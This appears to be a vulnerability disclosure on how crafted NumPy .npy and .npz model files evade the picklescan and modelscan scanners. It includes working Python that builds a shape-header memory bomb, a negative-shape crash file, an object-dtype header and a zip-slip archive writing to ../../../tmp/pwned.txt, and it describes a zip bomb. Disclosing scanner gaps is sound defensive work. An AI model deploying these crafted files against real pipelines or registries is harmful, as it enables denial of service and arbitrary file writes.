Views
No views yet
.npy and .npz model file formats that bypass both picklescan 1.0.4 and modelscan 0.8.8 (100% evasion rate across 5 payloads):.npy file with shape: (1000000, 1000000) but 4 bytes of data triggers a 3.64 TiB memory allocation attempt, crashing the process. No pickle involved..npz archives — NPZ files are ZIP containers. Injecting ../../../tmp/pwned as a ZIP entry name achieves arbitrary file write when the archive is extracted to disk.descr: 'O' (object dtype) in the NPY header forces numpy to use pickle deserialization even when the user believes they're loading numeric data. This is NOT blocked by allow_pickle=False — it raises an error, but the dtype is processed from the header before the check, and the header itself can be manipulated to confuse downstream tools.| File | Attack | Impact | picklescan | modelscan |
|---|---|---|---|---|
npy_shape_bomb.npy | Header claims shape (1M, 1M), file has 4 bytes | MemoryError: Unable to allocate 3.64 TiB — DoS | MISSED | MISSED |
npy_negative_shape.npy | Header claims shape (-1,) | ValueError crash — DoS | MISSED | MISSED |
npy_object_descr.npy | Header sets descr: 'O' (object) | Forces pickle path, confuses tooling | MISSED | MISSED |
npz_zipslip.npz | ZIP entry named ../../../tmp/pwned.txt | Arbitrary file write on extraction | MISSED | MISSED |
npz_zipbomb.npz | 10KB compressed → 10MB+ decompressed | Decompression DoS | MISSED | MISSED |
shape. NumPy allocates product(shape) * dtype_size bytes based on the header, WITHOUT checking that the file actually contains that much data:1# Crafted NPY header:
2# {'descr': '<f4', 'fortran_order': False, 'shape': (1000000, 1000000)}
3# File is only 100 bytes total
4# numpy tries to allocate 1M * 1M * 4 = 4 TB → instant OOM
5
6arr = np.load("npy_shape_bomb.npy")
7# MemoryError: Unable to allocate 3.64 TiBnp.load() reads them in-memory (safe), but any tool that extracts NPZ files to disk (model registries, pipeline caches, data loaders) is vulnerable:1import zipfile, io, numpy as np
2
3with zipfile.ZipFile("malicious.npz", 'w') as zf:
4 buf = io.BytesIO()
5 np.save(buf, np.array([1.0]))
6 zf.writestr("weights.npy", buf.getvalue())
7 zf.writestr("../../../tmp/pwned.txt", b"PWNED")
8
9# np.load reads in-memory (safe)
10# But: extractall(), shutil.unpack_archive(), or ZipFile.extract() write to disk1# Header: {'descr': '<f4', 'fortran_order': False, 'shape': (-1,)}
2np.load("npy_negative_shape.npy")
3# ValueError: Failed to read all data for array. Expected (-1,) = -1 elementstotal_size = product(shape) * itemsize get negative results → integer underflow.1import struct, numpy as np, zipfile, io
2
3# Memory bomb
4def craft_npy(header_str, data=b''):
5 magic = b'\x93NUMPY\x01\x00'
6 header = header_str.encode('latin1')
7 pad = 64 - (10 + len(header)) % 64
8 if pad < 1: pad += 64
9 header = header + b' ' * (pad - 1) + b'\n'
10 return magic + struct.pack('<H', len(header)) + header + data
11
12with open("npy_shape_bomb.npy", 'wb') as f:
13 f.write(craft_npy("{'descr': '<f4', 'fortran_order': False, 'shape': (1000000, 1000000)}", b'\x00' * 4))
14
15# Zip Slip
16with zipfile.ZipFile("npz_zipslip.npz", 'w') as zf:
17 buf = io.BytesIO(); np.save(buf, np.array([1.0]))
18 zf.writestr("weights.npy", buf.getvalue())
19 zf.writestr("../../../tmp/pwned.txt", b"PWNED via NPZ zip slip")